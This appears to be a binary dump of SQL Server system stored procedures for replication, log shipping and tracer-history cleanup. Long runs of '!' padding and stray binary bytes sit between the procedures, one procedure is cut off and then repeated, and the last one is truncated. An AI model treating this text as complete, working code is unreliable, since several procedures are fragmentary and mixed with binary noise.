!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!c
`	<5	*
%z0 i
8create procedure sys.sp_helparticledts (
    @publication sysname,        /* Publication name */
    @article sysname             /* Article name */
    ) AS

    SET NOCOUNT ON

    /*
    ** Declarations.
    */

    DECLARE @artid int
    DECLARE @pubid int
    DECLARE @retcode int
    declare @article_name sysname

    -- Security check: Sysadmins and db_owners only
    exec @retcode = sp_MSreplcheck_publish
    if @retcode <> 0 or @@error <> 0
    begin
        return 1
    end

   /*
    ** Check to see if the database has been activated for publication.
    */

    IF (SELECT category & 1
          FROM master.dbo.sysdatabases
         WHERE name = DB_NAME() collate database_default) = 0

    BEGIN
            RAISERROR (14013, 16, -1)
            RETURN (1)
    END


    /*
    ** Parameter Check:  @publication.
    ** Make sure that the publication exists.
    */

    IF @publication IS NULL
        BEGIN
            RAISERROR (14043, 16, -1, '@publication', 'sp_helparticledts')
            RETURN (1)
        END

    EXECUTE @retcode = sys.sp_validname @publication

    IF @@ERROR <> 0 OR @retcode <> 0
    RETURN (1)

    declare @allow_dts bit

    SELECT @pubid = pubid, @allow_dts = allow_dts   
        FROM syspublications WHERE name = @publication

    IF @pubid IS NULL
        BEGIN
            RAISERROR (20026, 11, -1, @publication)
            RETURN (1)
        END


    if @allow_dts = 0
    begin
        RAISERROR ('The publication ''%s'' does not allow DTS.', 11, -1, @publication)
        RETURN (1)
    end

    /*
    ** Check to see that the article exists in sysarticles.
    ** Fetch the article identification number.
    */

    IF @article IS NULL
        BEGIN
            RAISERROR (14043, 16, -1, '@article', 'sp_helparticledts')
            RETURN (1)
        END

    /*
    EXECUTE @retcode = sys.sp_validname @article

    IF @retcode <> 0
    RETURN (1)
    */

    SELECT @artid = artid, @article_name = name
      FROM sysarticles
     WHERE name = @article
       AND pubid = @pubid
    IF @artid IS NULL
        BEGIN
            RAISERROR (20027, 11, -1, @article)
            RETURN (1)
        END
    
    select 
        N'pre_script_ignore_error_task_name' = @article_name + N'_pre_ignore_error',
        N'pre_script_task_name' = @article_name + N'_pre',
        N'transformation_task_name' = @article_name,
        N'post_script_ignore_error_task_name' = @article_name + N'_post_ignore_error',
        N'post_script_task_name' = @article_name + N'_post'
0
 	8create procedure sys.sp_MSpeerconflictdetection_topology_applyresponse (
	@request_id	int,
	@peer_node	sysname, 
	@peer_db	sysname,
	@peer_version	int,
	@peer_subscriptions nvarchar(max) --list of (sub_node, sub_db) in XML format
)
as
begin

	-- security check - should be dbo or sysadmin
	declare @retcode int
	exec @retcode = sp_MSreplcheck_subscribe
	if @@ERROR != 0 or @retcode != 0
		return

	if not exists (select * from MSpeer_conflictdetectionconfigrequest where id = @request_id) --request does not exists
		return

	begin tran 
	save tran tr_topology_applyresponse

	--@peer_subscriptions is extended to contain the root: /peer_subs
       select @peer_subscriptions = N'<peer_subs>' + @peer_subscriptions + N'</peer_subs>' 
	
	begin try
		insert MSpeer_conflictdetectionconfigresponse (request_id, peer_node, peer_db, peer_version, is_peer, peer_subscriptions, progress_phase)
		values (@request_id, @peer_node, @peer_db, @peer_version, 1, convert(xml, @peer_subscriptions), N'peer version collected')
	end try
	begin catch
       	if @@error in (2627, 2601)  ---primary key/unique violation
       	begin
      			update MSpeer_conflictdetectionconfigresponse
			set	peer_version = @peer_version,
				is_peer = 1,
				peer_subscriptions = @peer_subscriptions,
				progress_phase = N'peer version collected',
				modified_date = GETDATE()
			where request_id = @request_id
				and peer_node = @peer_node
				and peer_db = @peer_db
				and progress_phase = N'started'
				
			if @@error <> 0
				goto UNDO
       	end
       	else
       		goto UNDO
       end catch

       --incorporate subscribers into MSpeer_conflictdetectionconfigresponse
	declare @DocHandle int
	exec sp_xml_preparedocument @DocHandle OUTPUT, @peer_subscriptions
	if @@error <> 0
		goto UNDO
	
	insert MSpeer_conflictdetectionconfigresponse (request_id, peer_node, peer_db, progress_phase)
	select @request_id, sub_node, sub_db, N'started'
	from (	select  *
	 		from OPENXML (@DocHandle, N'/peer_subs/sub', 1)
	 		with (sub_node sysname, sub_db sysname)
	 	) A
	 where not exists (select * from MSpeer_conflictdetectionconfigresponse
	 				where request_id = @request_id and peer_node = A.sub_node and peer_db = A.sub_db)
	
	if @@error <> 0
		goto UNDO

	exec sp_xml_removedocument @DocHandle
	if @@error <> 0
		goto UNDO

       commit tran
       return 

UNDO:
	rollback tran tr_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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
`	Z	<?
	)0
 	8create procedure sys.sp_MSpeerconflictdetection_topology_applyresponse (
	@request_id	int,
	@peer_node	sysname, 
	@peer_db	sysname,
	@peer_version	int,
	@peer_subscriptions nvarchar(max) --list of (sub_node, sub_db) in XML format
)
as
begin

	-- security check - should be dbo or sysadmin
	declare @retcode int
	exec @retcode = sp_MSreplcheck_subscribe
	if @@ERROR != 0 or @retcode != 0
		return

	if not exists (select * from MSpeer_conflictdetectionconfigrequest where id = @request_id) --request does not exists
		return

	begin tran 
	save tran tr_topology_applyresponse

	--@peer_subscriptions is extended to contain the root: /peer_subs
       select @peer_subscriptions = N'<peer_subs>' + @peer_subscriptions + N'</peer_subs>' 
	
	begin try
		insert MSpeer_conflictdetectionconfigresponse (request_id, peer_node, peer_db, peer_version, is_peer, peer_subscriptions, progress_phase)
		values (@request_id, @peer_node, @peer_db, @peer_version, 1, convert(xml, @peer_subscriptions), N'peer version collected')
	end try
	begin catch
       	if @@error in (2627, 2601)  ---primary key/unique violation
       	begin
      			update MSpeer_conflictdetectionconfigresponse
			set	peer_version = @peer_version,
				is_peer = 1,
				peer_subscriptions = @peer_subscriptions,
				progress_phase = N'peer version collected',
				modified_date = GETDATE()
			where request_id = @request_id
				and peer_node = @peer_node
				and peer_db = @peer_db
				and progress_phase = N'started'
				
			if @@error <> 0
				goto UNDO
       	end
       	else
       		goto UNDO
       end catch

       --incorporate subscribers into MSpeer_conflictdetectionconfigresponse
	declare @DocHandle int
	exec sp_xml_preparedocument @DocHandle OUTPUT, @peer_subscriptions
	if @@error <> 0
		goto UNDO
	
	insert MSpeer_conflictdetectionconfigresponse (request_id, peer_node, peer_db, progress_phase)
	select @request_id, sub_node, sub_db, N'started'
	from (	select  *
	 		from OPENXML (@DocHandle, N'/peer_subs/sub', 1)
	 		with (sub_node sysname, sub_db sysname)
	 	) A
	 where not exists (select * from MSpeer_conflictdetectionconfigresponse
	 				where request_id = @request_id and peer_node = A.sub_node and peer_db = A.sub_db)
	
	if @@error <> 0
		goto UNDO

	exec sp_xml_removedocument @DocHandle
	if @@error <> 0
		goto UNDO

       commit tran
       return 

UNDO:
	rollback tran tr_topology_applyresponse
	commit tran
	return
end 
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`		</	"
ː0 8--
-- Name: 
--		sp_MSdelete_tracer_history
-- 
-- Description: 
--		This procedure will delete the parent and child rows for a tracer history record
--		with the specified id or records that are before the specified date. You can also
--		specify a publisher, publisher db and publication to ensure that only tracer lsns
-- 		from the specified publication are deleted.
--  
-- Parameters: 
--		@tracer_id				int				Id of the tracer to be updated
--		@cutoff_date			datetime		Cutoff time for rows to be kept (ignored if @tracer_id specified)
--		@num_records_removed	int				Number of tracer records removed. This is based on the number of
--												of rows removed from MStracer_tokens.
-- These are only used when called by publisher
--		@publication			sysname			
--		@publisher				sysname			
-- 		@publisher_db			sysname 
--
-- Returns: 
--		0 - succeeded
--      1 - failed
--
-- Result: 
--		None
--
-- Security: 
--		Sysadmin/dbo
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_MSdelete_tracer_history
(
	@tracer_id				int			= NULL,
	@cutoff_date			datetime 	= NULL,
	@num_records_removed	int         = 0 output,
	@publication			sysname		= NULL,
	@publisher				sysname 	= NULL,	
	@publisher_db			sysname 	= NULL
)
as
begin
	-- setting deadlock priority to low so we always lose
	set deadlock_priority low
	set nocount on
	
	declare @retcode			int,
			@del_error 			int,
			@publication_id		int,
			@distribution_db	sysname

	select @distribution_db = db_name()
	
    --
	-- security check.
	-- User must be member of 'replmonitor' role in distribution database
	--
	exec @retcode = sys.sp_MSrepl_DistributorReplMonitorAccess @distribution_db = @distribution_db
	if @retcode != 0 or @@error != 0
	    return 1

	-- Has to be executed from distribution database
	if sys.fn_MSrepl_isdistdb (@distribution_db) != 1
	begin
		-- sp_MSispeertopeeragent can only be executed in the distribution database.
		raiserror (21482, 16, -1, 'sp_MShelptracertokens', 'distribution')
		return 1
	end

	-- parameter checks
	if @tracer_id is null and @cutoff_date is null
	begin
		-- The parameter @tracer_id and @cutoff_date cannot be NULL.
		raiserror (14043, 16, -1, '@tracer_id and @cutoff_date', 'sp_MSdelete_tracer_history')
        return 1
	end
	else if @tracer_id is not null and @cutoff_date is not null
	begin
		-- There must be one and only one of '@tracer_id' and '@cut_off' that is not NULL.
		raiserror(21314, 16, -1, '@tracer_id', '@cut_off')
		return 1
	end

	-- retrieve the publication id
	select @publication_id = msp.publication_id
		from dbo.MSpublications msp
			join sys.servers ss
				on msp.publisher_id = ss.server_id
		where UPPER(ss.name) = UPPER(@publisher)
			and msp.publisher_db = @publisher_db
			and msp.publication = @publication
			
	-- if any publisher data is provided check to see if the publication exists
	if (@publisher is not NULL
			or @publisher_db is not NULL
			or @publication is not NULL)
		and @publication_id is NULL
	begin
		-- Publication 'publication' does not exist.
		raiserror(21200, 16, -1, @publication)
		return 1
	end
	
	begin tran tr_sp_MSdelete_tracer_history
	save tran tr_sp_MSdelete_tracer_history
	
	-- perform delete
	if @tracer_id is not null
	begin
		-- now if publisher info is provided then validate that the
		-- lsn provided falls under the given publishers list
		if (@publisher is not NULL
				or @publisher_db is not NULL
				or @publication is not NULL)
			and not exists(select *
						from MStracer_tokens
						where publication_id = @publication_id
							and tracer_id = @tracer_id)
		begin
			-- The tracer token id (%d) could not be found for publisher:%s, database:%s, publication:%s.
			raiserror(20688, 16, -1, @tracer_id, @publisher, @publisher_db, @publication)
			goto Err_Handler
		end
	
		-- ensure we delete the children for this tracer id as well
		delete MStracer_history
			where parent_tracer_id = @tracer_id
			option(MAXDOP 1)
		if @@error <> 0 goto Err_Handler
		
		
		-- delete parent rows
		delete MStracer_tokens
			where tracer_id = @tracer_id
			option(MAXDOP 1)
			
		select @del_error = @@error, @num_records_removed = @@rowcount
		if @del_error <> 0 goto Err_Handler
	end
	else 
	begin
		-- 
		-- remember here that if any of the publisher info is provided
		-- we can only delete those that match else do not delete it
		--
		
		-- delete children in range first
		delete MStracer_history
			where parent_tracer_id in (select tracer_id
										from MStracer_tokens
										where publisher_commit <= @cutoff_date
											and (publication_id = @publication_id
												or (@publisher is NULL
													and @publisher_db is NULL
													and @publication is NULL)))
			option(MAXDOP 1)
		if @@error <> 0 goto Err_Handler
		
		-- now delete the parent rows
		delete MStracer_tokens
			where publisher_commit <= @cutoff_date
				and (publication_id = @publication_id
					or (@publisher is NULL
						and @publisher_db is NULL
						and @publication is NULL))
			option(MAXDOP 1)
		select @del_error = @@error, @num_records_removed = @@rowcount
		if @del_error <> 0 goto Err_Handler
	end

	commit tran tr_sp_MSdelete_tracer_history
	
	return 0
	
Err_Handler:
	rollback tran tr_sp_MSdelete_tracer_history
	commit tran tr_sp_MSdelete_tracer_history
	
	return 1
end
03 8create procedure sys.sp_MSstartdistribution_agent
(
    @publisher      sysname,
    @publisher_db   sysname,
    @publication    sysname,
    @subscriber     sysname,
    @subscriber_db  sysname
)
as
begin
    set nocount on

    if (isnull(is_srvrolemember('sysadmin'),0) = 0)
    begin
        raiserror (21089, 16, -1)
        return 1
    end
    
    -- database must be distribution db
    if sys.fn_MSrepl_isdistdb(db_name()) <> 1
    begin
        raiserror (21482, 16, -1, 'sp_MSstartdistribution_agent', 'distribution')
        return 1
    end

    declare @retcode int
            ,@start tinyint
    set @start = 0
    exec @retcode = sys.sp_MSdistributionagentjobcontrol
        @publisher = @publisher,
        @publisher_db = @publisher_db,
        @publication = @publication,
        @subscriber = @subscriber,
        @subscriber_db = @subscriber_db,
        @action = @start
    return @retcode
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`f< 	#0y9 8CREATE FUNCTION sys.dm_logconsumer_privatecachebuffers
	(
	@DatabaseId Int,
	@ConsumerId bigint
	)
RETURNS TABLE
as
	RETURN SELECT * FROM OpenRowset(TABLE DM_LOGCONSUMER_PRIVATECACHEBUFFERS, @DatabaseId, @ConsumerId)
0`5; D8j)h`&0!= 88f}L!0?@ v8CREATE VIEW sys.sysprocesses_ex AS
	SELECT  *
	FROM OpenRowSet(TABLE SYSPROCESSES)
0A 
8
--
-- Name:    
--          sp_MSrepl_DistributorReplMonitorAccess
--          
-- Description:
-- 
--          This stored procedure runs in any database at a distributor.  It returns
--          Success (0) if the current user has ReplMonitor access to distribution related 
--          information at the distributor.  Access is granted to those in the
--          db_owner or replmonitor role of the/any distribution database.  
--
--          If @distribution_db is specified, only this distribution database is checked.
--          If @distribution_db is not specified, all distribution databases are checked. 
--
-- Security: 
--          Internal
-- Requires Certificate signature for catalog access
--
-- Returns:
--          Success (0) or failure (1)
--      
-- Owner:   
--          <current owner> 


create procedure sys.sp_MSrepl_DistributorReplMonitorAccess
(
    @distribution_db sysname = '%'
) 
AS
begin
    set nocount on
    declare
         @db_name sysname
        ,@has_access bit
        ,@cmd nvarchar(200)
        ,@retcode int

    --
    -- If SA then we will return success
    --
    if is_srvrolemember('sysadmin') = 1
        return (0)
    --
    -- initialize
    --
    select @has_access = 1
    --
    -- Search sysdababases for distribution databases
    --
    declare hCdatabase CURSOR LOCAL FAST_FORWARD FOR
        select dist.name 
              from master.dbo.sysdatabases d 
        inner join msdb.dbo.MSdistributiondbs dist
                on dist.name = d.name collate database_default
        where dist.name like @distribution_db collate database_default
                and has_dbaccess(d.name) = 1 
            
    open hCdatabase
    fetch next from hCdatabase into @db_name
    while (@@fetch_status <> -1 and @has_access = 1)
    begin
        --
        -- Check to see if the user has 'replmonitor' access to the distribution database.
        --
        begin
            -- Check 'db_owner' and 'replmonitor' roles in distribution database 
            select @cmd = quotename(@db_name) + '.sys.sp_executesql'
                           
            exec @cmd N'if is_member(N''db_owner'') = 1 or isnull(is_member(N''replmonitor''),0) = 1 set @has_access = 0', 
                            N'@has_access bit output',
                            @has_access output

        end
        fetch next from hCdatabase into @db_name
    end
    close hCdatabase
    deallocate hCdatabase
    return(@has_access)
end
0OM@ 8
create procedure sys.sp_changepublication
(
    @publication				sysname = NULL,
    @property					nvarchar(255) = NULL,
    @value						nvarchar(255) = NULL,
    @force_invalidate_snapshot	bit = 0,
    @force_reinit_subscription	bit = 0,
    @publisher					sysname = NULL
) 
AS
BEGIN
	DECLARE @cmd			nvarchar(4000)
	DECLARE @retcode		int
	DECLARE @publisher_type	sysname

	SET @retcode = 0
	
	EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher		= @publisher,
													@rpcheader		= @cmd OUTPUT,
													@publisher_type	= @publisher_type OUTPUT
	
	IF @retcode <> 0
		RETURN (@retcode)

	-- Add sp
	SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
	set @cmd = @cmd + N'sys.sp_MSrepl_changepublication'
	
	EXEC @retcode = @cmd
					@publication,
					@property,
					@value,
					@force_invalidate_snapshot,
					@force_reinit_subscription,
					@publisher,
					@publisher_type

	RETURN (@retcode)
END
0
Y@ 	8create procedure sys.sp_add_log_shipping_primary_secondary 
(
    @primary_database sysname
    ,@secondary_server sysname
    ,@secondary_database sysname
    ,@overwrite bit = 0
)
as
begin
    set nocount on
    declare @retcode int
                ,@primary_id uniqueidentifier

    --
    -- security check
    --
    exec @retcode = sys.sp_MSlogshippingsysadmincheck
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- must be invoked from master db
    --
    if (db_name() != N'master')
    begin
        raiserror(5001, 16,-1)
        return 1
    end
    
    --
    -- Primary database should exist
    --
    select @primary_id = primary_id
    from msdb.dbo.log_shipping_primary_databases
    where primary_database = @primary_database
    if (@primary_id is null)
    begin
        raiserror(32010, 10, 4, @primary_database)
        return 0
    end

    --
    -- Parameter Check: @secondary_server
    --
    if @secondary_server is null or @secondary_server=N''
    begin
        raiserror (32052, 16, -1, N'@secondary_server')
        return 1
    end

    --
    -- Parameter Check: @secondary_server
    --
    if @secondary_database is null or @secondary_database=N''
    begin
        raiserror (32052, 16, -1, N'@secondary_database')
        return 1
    end
    
    --
    -- secondary should not exist already
    --
    if exists (select * from msdb.dbo.log_shipping_primary_secondaries
                where primary_id = @primary_id
                    and secondary_server = upper(@secondary_server)
                    and secondary_database = @secondary_database)
    begin
        if (@overwrite = 0)
        begin
            raiserror(32012, 10, 1, @secondary_server, @secondary_database, @primary_database)
            return 1
        end
        else
        begin
            delete msdb.dbo.log_shipping_primary_secondaries
            where primary_id = @primary_id
                and secondary_server = upper(@secondary_server)
                and secondary_database = @secondary_database
        end
    end
    --
    -- add a row in msdb.dbo.log_shipping_primary_secondaries
    --
    insert into msdb.dbo.log_shipping_primary_secondaries (
        primary_id, secondary_server, secondary_database)
    values (@primary_id, upper(@secondary_server), @secondary_database)
    if (@@error != 0)
        return 1
    --
    -- all done
    --
    return 0
end
0BL@ g8create procedure sys.sp_MShaschangeslightweight
	@pubid		uniqueidentifier,
	@haschanges int output
as
	set nocount on
	declare @retcode smallint

	set @haschanges= 0

	exec @retcode= sys.sp_MSreplcheck_subscribe
	if @@error <> 0 or @retcode <> 0 return (1)
	
	-- find out whether at least one article that belongs to the publication has changes
	if exists (select top 1 * from dbo.MSmerge_rowtrack where tablenick in
				(select nickname from dbo.sysmergearticles where pubid = @pubid)
			  )
	begin
		set @haschanges= 1
	end
	if @@error <> 0 return 1
	return 0
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!UESa`

<i	u<:N0H\@ 7
8
--
-- Name: sp_MScopyscriptfile
--
-- Descriptions: 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: internal
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_MScopyscriptfile 
(
    @scriptfile nvarchar(4000), 
    @cmd nvarchar(4000) OUTPUT
)
as
begin
    set nocount on
    declare @directory nvarchar(4000)
                ,@filename nvarchar(1024)
                ,@subdirectory nvarchar(1024)
                ,@retcode int
                ,@distributor sysname
                ,@dist_rpcname sysname
                ,@distribdb sysname
                ,@distproc nvarchar(517)

    IF @scriptfile IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@scriptfile', 'sp_MScopyscriptfile')
        RETURN (1)
    END
    --
    -- Get distributor details
    -- 
    EXEC @retcode = sys.sp_helpdistributor @distributor = @distributor OUTPUT, 
                                            @distribdb = @distribdb OUTPUT,
                                            @rpcsrvname = @dist_rpcname OUTPUT ,
                                            @directory = @directory OUTPUT
    if @@error <> 0 OR @retcode <> 0 or @distributor IS NULL OR @distribdb IS NULL
    BEGIN
        RAISERROR (14071, 16, -1)
        RETURN (1)
    END
    --
    -- prepare the directory
    --
    select @subdirectory = convert(nvarchar(64), getdate(), 121)
    select @subdirectory = replace(@subdirectory, N'-', N'')
    select @subdirectory = replace(@subdirectory, N' ', N'')
    select @subdirectory = replace(@subdirectory, N':', N'')
    select @subdirectory = replace(@subdirectory, N'.', N'')
    if(right(@directory, 1) = N'\')
        select @directory = @directory + @subdirectory
    else
        select @directory = @directory + N'\' + @subdirectory
    --
    -- create the directory and copy the scriptfile on distributor
    --
    select @distproc = quotename(@dist_rpcname) + N'.' + quotename(@distribdb) + N'.dbo.sp_MSreplcopyscriptfile'
    exec @retcode = @distproc @directory = @directory, @scriptfile = @scriptfile
    if @@error<>0 or @retcode<>0 
        return 1
    --
    -- Prepare command, to be posted to log
    --
    select @filename = right(@scriptfile, charindex(N'\', reverse(@scriptfile)))
    if(left(@filename, 1) = N'\')   
        select @cmd = @directory + @filename
    else
        select @cmd = @directory + N'\' + @filename
    --
    -- all done
    --
    return 0
end
0FK 	8create procedure sys.sp_MSupdatecachedpeerlsn
(
	@type						int,		-- 1-insert/update, 2-clear
	@agent_id					int,
	@originator					sysname = NULL,
	@originator_db				sysname = NULL,
	@originator_publication_id	int = NULL,
	@originator_db_version		int = NULL,
	@originator_lsn				varbinary(16) = NULL
)
as
begin
	declare @retcode bit

	-- security check - the distribution agent must have access
	exec @retcode = sys.sp_MScheck_pull_access @agent_id = @agent_id, @agent_type = 0
    if @@error <> 0 or @retcode <> 0
    begin
        return 1
    end
	
	if @type not in (0, 1, 2)
	begin
		-- Invalid '@type' value for stored procedure 'sys.sp_MSupdatecachedpeerlsn'.
		raiserror(20587, 16, -1, '@type', 'sys.sp_MSupdatecachedpeerlsn')
		return 1
	end

	begin tran t_MScached_peer_lsns
	
	-- insert/update row
	if @type = 1
	begin
		update MScached_peer_lsns
			set originator_lsn = @originator_lsn
			where agent_id 						= @agent_id
				and UPPER(originator) 			= UPPER(@originator)
				and originator_db 				= @originator_db
				and originator_publication_id 	= @originator_publication_id
				and originator_db_version 		= @originator_db_version
		if @@rowcount < 1
		begin
			insert into MScached_peer_lsns
			(
				agent_id, 
				originator, 
				originator_db,
				originator_publication_id,
				originator_db_version,
				originator_lsn
			)
		    values
			(
				@agent_id, 
				UPPER(@originator), 
				@originator_db,
				@originator_publication_id,
				@originator_db_version,
				@originator_lsn
			)
		    if @@rowcount < 1 or @@error <> 0
		    	goto FAILURE
		end
		
		if @@error <> 0
		begin
			-- The distribution agent was unable to update the cached lsns for Originator:%s OriginatorDB:%s OriginatorDBVersion:%d OriginatorPublicationID:%d.
			raiserror(21680, 16, -1, @originator, @originator_db, @originator_db_version, @originator_publication_id)
			goto FAILURE
		end
	end
	-- clear cache for the specified agent
	else if @type = 2
	begin
		delete from MScached_peer_lsns 
			where agent_id = @agent_id
		if @@error <> 0
       			goto FAILURE
	end
	
	commit transaction t_MScached_peer_lsns

	return 0
FAILURE:
	if @@trancount > 0
		rollback transaction t_MScached_peer_lsns

